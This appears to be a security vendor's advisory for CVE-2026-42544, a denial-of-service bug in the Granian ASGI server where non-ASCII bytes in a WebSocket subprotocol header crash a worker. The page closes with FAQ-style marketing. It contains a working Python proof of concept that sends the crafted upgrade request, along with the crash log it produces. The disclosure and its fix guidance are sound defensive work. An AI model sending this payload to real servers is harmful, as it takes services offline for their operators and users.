CVE-2026-42544

Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.

The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.

This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125

HeaderValue::to_str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.

In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.

PoC

Step 1.

starts a Granian ASGI server

# app.py
async def app(scope, receive, send):
    if scope["type"] == "websocket":
        await receive()
        await send({"type": "websocket.accept"})
        return

    await send({"type": "http.response.start", "status": 200, "headers": []})
    await send({"type": "http.response.body", "body": b"ok"})

granian --interface asgi app:app --host 127.0.0.1 --port 8000

Step 2.

sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.

# ws-subproto-crash.py
import base64, os, socket, sys

host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()

req = (
    f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
    "Upgrade: websocket\r\nConnection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"

with socket.create_connection((host, port), timeout=5) as s:
    s.sendall(req)
    print(s.recv(4096))

python ws-subproto-crash.py 127.0.0.1 8000 /

Observed server output:

thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granian

• Unauthenticated remote denial of service
• One crafted request kills one worker
• The application is never reached, so application-level authentication or routing does not mitigate the issue

The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.

CVE-2026-42544 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.7.4); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-42544? CVE-2026-42544 is a high-severity improper input validation vulnerability in granian (pip), affecting versions >= 1.2.0, < 2.7.4. It is fixed in 2.7.4. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
2. How severe is CVE-2026-42544? CVE-2026-42544 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of granian are affected by CVE-2026-42544? granian (pip) versions >= 1.2.0, < 2.7.4 is affected.
4. Is there a fix for CVE-2026-42544? Yes. CVE-2026-42544 is fixed in 2.7.4. Upgrade to this version or later.
5. Is CVE-2026-42544 exploitable, and should I be worried? Whether CVE-2026-42544 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-42544 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-42544? Upgrade granian to 2.7.4 or later.